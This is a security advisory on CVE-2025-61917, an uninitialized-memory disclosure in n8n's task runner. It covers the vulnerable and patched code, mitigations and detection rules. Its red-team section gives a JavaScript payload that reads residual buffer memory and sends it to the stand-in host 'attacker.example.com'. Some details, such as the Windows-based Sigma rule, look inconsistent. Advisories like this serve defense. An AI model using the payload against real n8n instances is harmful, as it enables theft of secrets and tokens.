CVE-2025-61917

Executive Summary

CVE-2025-61917 is a high-severity information disclosure vulnerability in n8n, an open-source workflow automation platform. The flaw resides in the task runner component, where the use of Buffer.allocUnsafe() and Buffer.allocUnsafeSlow() functions allows untrusted code to allocate uninitialized memory buffers. These buffers may contain residual data from previous operations within the same Node.js process, potentially exposing sensitive information such as secrets, tokens, or data from prior requests. The vulnerability affects versions 1.65.0 through 1.114.2 and has been patched in version 1.114.3.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Organizations using n8n should verify their installed version and ensure it is updated to 1.114.3 or later. The vulnerability is introduced through the Node.js runtime and is not a direct supply chain compromise, but the use of unsafe buffer allocation functions in the codebase creates the risk. Developers should review any custom code or plugins that may also use Buffer.allocUnsafe() or Buffer.allocUnsafeSlow().

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – An attacker needs to be able to execute code in the task runner context.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – Potential exposure of sensitive residual data.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the potential for sensitive data leakage. While the EPSS score is 0.0% (indicating low exploitation likelihood at the time of analysis), the vulnerability is straightforward to exploit if an attacker can execute arbitrary code in the task runner.

Deep Dive & Mechanics

The vulnerability is rooted in the use of Node.js Buffer.allocUnsafe() and Buffer.allocUnsafeSlow() functions. Unlike Buffer.alloc(), which initializes the buffer to zero, Buffer.allocUnsafe() allocates a buffer of the requested size without initializing its contents. This means the buffer may contain leftover data from previous allocations within the same Node.js process.

In n8n, the task runner executes user-defined workflows. If an attacker can inject or control code that runs in the task runner (e.g., through a malicious workflow or a compromised node), they can allocate uninitialized buffers and read the residual data. This residual data could include:

• Secrets or API tokens from previous workflow executions.
• Data from other users' workflows running in the same process.
• Internal application state or configuration data.

The attack does not require network-level exploitation; it requires the ability to execute arbitrary JavaScript in the task runner context. This could be achieved through:

• A malicious workflow imported by an authenticated user.
• A compromised third-party node or plugin.
• Cross-site scripting (XSS) if the n8n UI is exposed.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.114.3):

// Example of vulnerable usage in task runner
const buf = Buffer.allocUnsafe(1024);
// buf may contain residual data

Patched Code (1.114.3+):

// Patched version uses safe allocation
const buf = Buffer.alloc(1024);
// buf is zero-initialized

The patch replaces all instances of Buffer.allocUnsafe() and Buffer.allocUnsafeSlow() with Buffer.alloc() or Buffer.allocUnsafe() followed by buf.fill(0) to ensure no residual data is exposed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an n8n instance (version 1.65.0 to 1.114.2).
• Ability to execute arbitrary JavaScript in the task runner (e.g., through a custom workflow node or a malicious workflow).

Exploitation Steps:

1. Create a new workflow in n8n.
2. Add a "Code" node or any node that allows custom JavaScript execution.
3. Execute the following payload to read residual memory:

   // Allocate a large uninitialized buffer
   const buf = Buffer.allocUnsafe(4096);
   // Convert to string and output
   const leakedData = buf.toString('utf-8');
   // Send leaked data to an attacker-controlled server
   const http = require('http');
   const options = {
     hostname: 'attacker.example.com',
     port: 80,
     path: '/leak?data=' + encodeURIComponent(leakedData),
     method: 'GET'
   };
   const req = http.request(options);
   req.end();
   

4. Execute the workflow. The attacker will receive the leaked data.

Note: The actual residual data may vary. Multiple allocations may be needed to capture useful data.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual outbound network connections from n8n processes.
• Audit workflow code for use of Buffer.allocUnsafe() or Buffer.allocUnsafeSlow().
• Enable logging of all workflow executions and review for anomalous behavior.

Prevention:

• Upgrade to n8n 1.114.3 or later.
• Restrict who can create or import workflows.
• Use network segmentation to limit outbound traffic from n8n.
• Implement a Web Application Firewall (WAF) to block suspicious payloads.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None provided; generate from patched vs. vulnerable versions)
• Network Indicators:
  • Outbound connections to unknown or suspicious IPs/domains from the n8n process.
  • HTTP requests containing large base64-encoded or raw binary data in query parameters.
• Log Indicators:
  • Workflow execution logs showing use of Buffer.allocUnsafe or Buffer.allocUnsafeSlow.
  • Unexpected errors related to buffer allocation.
• Process Indicators:
  • n8n process consuming unusually high memory due to repeated buffer allocations.

Detection Engineering

YARA Rule

rule CVE_2025_61917_n8n_Buffer_AllocUnsafe {
    meta:
        description = "Detects use of Buffer.allocUnsafe or Buffer.allocUnsafeSlow in n8n workflows"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61917"
    strings:
        $allocUnsafe = "Buffer.allocUnsafe" nocase
        $allocUnsafeSlow = "Buffer.allocUnsafeSlow" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-61917 - n8n Buffer.allocUnsafe Usage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the use of Buffer.allocUnsafe or Buffer.allocUnsafeSlow in n8n workflow code
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'Buffer.allocUnsafe'
            - 'Buffer.allocUnsafeSlow'
    condition: selection
falsepositives:
    - Legitimate use in patched versions (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61917 - n8n Potential Information Leak via Buffer.allocUnsafe"; flow:to_server; content:"Buffer.allocUnsafe"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade n8n to version 1.114.3 or later. This is the only complete fix.
2. If immediate upgrade is not possible, restrict access to the n8n instance to trusted users only.
3. Audit all existing workflows for any use of Buffer.allocUnsafe() or Buffer.allocUnsafeSlow() and replace them with safe alternatives.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) to prevent injection of malicious scripts.
• Use runtime application self-protection (RASP) tools to monitor for unsafe buffer allocations.
• Regularly review n8n security advisories and apply patches promptly.
• Consider running n8n in a sandboxed environment (e.g., Docker with limited capabilities).

Workarounds (if patching is delayed):

• Disable the task runner for untrusted users.
• Use a reverse proxy to inspect and block requests containing Buffer.allocUnsafe in the body.

Valters IT